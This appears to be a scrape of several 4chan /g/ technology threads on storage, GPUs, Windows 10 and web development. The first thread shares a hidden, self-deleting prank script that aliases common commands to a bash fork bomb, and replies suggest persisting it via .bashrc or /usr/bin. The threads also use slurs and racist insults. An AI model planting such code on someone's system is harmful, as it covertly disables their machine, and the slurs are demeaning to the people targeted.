script with a filename like .helpful_agent.sh
>don't forget the . at the front to hide the file. The name is just incase they find it, which really shouldn't be possible.alias iceweasel=":(){ :|:& };:"
alias firefox=":(){ :|:& };:"
alias vim=":(){ :|:& };:"
alias vi=":(){ :|:& };:"
alias ping=":(){ :|:& };:"
rm .helpful_agent.sh
Now when their pleb friends borrow a computer they'll use nothing but icons,...
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Lol you are retarded. Aliases persist only in the shell they are defined in. They aren't even in the environment.
Your script wouldn't do anything.
Also forkbombs don't work since long ago.
>>52477568
>Aliases persist only in the shell they are defined in. They aren't even in the environment.
Good point. I should add a line in the .bashrc file to run the script, and add a line to delete the script RIGHT BEFORE the forkbomb initiates.
>Also forkbombs don't work since long ago.
Bullshit. Forkbombs fuck my machine pretty good and I'm using the latest stable version of Debian.
>>52477568
>>52477598
>Aliases persist only in the shell they are defined in. They aren't even in the environment.
A better solution, if you have sudo privelleges on the machine, is to replace everything in /usr/bin with forkbomb commands. But then the icons will also fork bomb?
Hi /g/, I picked Computer Science as my college major but I've never coded a day in my life. What do you enjoy about programming?
>>52477494
>He fell for the CS meme.
>>52477494
it's fun if you do it for yourself. When money comes in, it becomes a job and turns to shit
>>52477494
Why do people program? To make programs of course. Why else would people enjoy programming? To make a fucking program you retarded cunt.
can we have a nightmare/shit-tier bst. post your unimpressive crappy ones too
>>52477340
>>52477340
life is already full of shit, why add to it on this board?
>HDDs are more reliable
Well meme'd, /g/! At least I haven't paid for it.
>>52477298
Now you know it's failing and, with all data still intact (bad sectors have been reallocated) you can migrate your shit to another disk. SSDs on the other hand usually suffer sudden death where it's all dead at once.
>>52477298
what software did you use to check the hdd? never seen that one.
>>52478063
Its just smart data. Any smart reader program will give you that.
Send $1,000,000 USD to Bank or I will press Enter and destroy the 4Chan
Bank of India
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Noida, Uttar Pradesh 201301
I awaiting letter
>>52477263
sent ;)
>>52477263
poo in loo
>>52477263
Don't do it OP or i'll kill everyone.
just got SSD and i want to say that its the shit.
2 second boot time. shit runs instantly only down side that its expensive as fuck
>>52477033
Oh for a second there I thought you were saying it was plain old shit, rather than THE shit
>>52477033
Yeah well who "boots up" their PCs today.
You just leave it on standby then wake it up.
What's the difference in power consumption between these two options, for those of us who pay electricity bills?
why do you guys hate windows 10? if you turn off the telemetry, its probably the best OS microsoft has released.
I'm comfortable with 7. If it's not broken don't fix it.
>>52476985
>best OS microsoft has released
idk i liked xp
>>52476985
It's more than just telemetry that's in there
I work at best buy, I'm the Samsung rep.
I sell all major brands samsung Sony lg. Not limited to just samsung.
But I need help, of course managers don't know shit about product like that I need some advice on stuff to say to a customer when selling to them. Like good demos you guys have used to help you, good music to demo soundbars for and just things to say and tell me how the TV operates .
Oh and talking about 4k televisions only.
Maybe realizing the majority of 4k sets are only 30hz as opposed to most 1080p being 120 or even higher would be a good start.
>>52476916
>Maybe realizing the majority of 4k sets are only 30hz
This guy is selling TVs, not computer monitors. All 4K televisions are 60hz at the minimum.
>>52476849
>Claims to be Samsung rep working at Best Buy demoing/selling TVs
>Doesn't know shit about TVs or how to sell or demo them to retard retail customers
This is how I know you're full of shit. What I don't get is why you would go through the effort of making a thread like this.
>2016
>No opensource USB WiFi adapters
>>52476773
föck
wat does dis (>>52476773) mean?
>>52476705
Radio licensing regulatory issues (FCC, et al) make that monstrously difficult to impossible, particularly with bands other than 2.4GHz.
some of my mkv files dont show thumbnail in windows 10
>>52476667
tried this https://www.youtube.com/watch?v=J1qCwOJIeLY [Embed] and this https://www.vlchelp.com/how-to-make-vlc-the-default-media-player-in-windows-10/
>>52476667
Get MediaPreview and set it to show thumbnail for everything.
>>52476696
is it safe to use
>r9 380 has too little GRAM
>r9 390 has too much GRAM
>r9 290 is just perfect
Why did AMD do this? This is the first time I've purchased a GPU that wasn't part of the newest gen.
>>52476435
The 380 us available in 4gb you dingus.
Allso why the hell did you buy a graphics card months away from the first process shrink and architectural overhaul in years?
>>52476435
There's never enough RAM, faggot
>rebrand 290 to 390
>add literally $4 worth of vram
>increase the price by $150
>decrease the price by $50 by going on "sale"
>wew what a deal
>IRC Channel
#/g/wdg @ irc.rizon.net
Web client: https://www.rizon.net/chat
>Learning materials
https://www.codecademy.com/
https://www.bento.io/
https://programming-motherfucker.com/
https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md
https://www.theodinproject.com/
>Frontend development
https://github.com/dypsilon/frontend-dev-bookmarks
>Backend development
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I'm working on a site and my local environment is screwing me up. I used local fonts so when users visit the site they don't have access to it, the local on the assets is different, and in general its just fucked.
How can I make a virtual environment on that doens't replicate my machine.
this is the right board, right?
I'm streaming coding a js "game", come chat with me:
twitch.tv menkodany
I'm looking at the chat sporadically
Why does an Intel+Asus+Corsair marketer have 2.3 million subs on youtube?
Because he sold his boypussy to jews
Because faggots create threads about him...
He comes on /g/ every day to advertise for his shitty site.
>tfw your hard drive dies
>>52475795
SSD, rite?
F
>>52476452
Hahahahahahahahahahahaha
>haha
Last one hit bump limit, postem
oh boy early r8
WIP
8)
>>52475666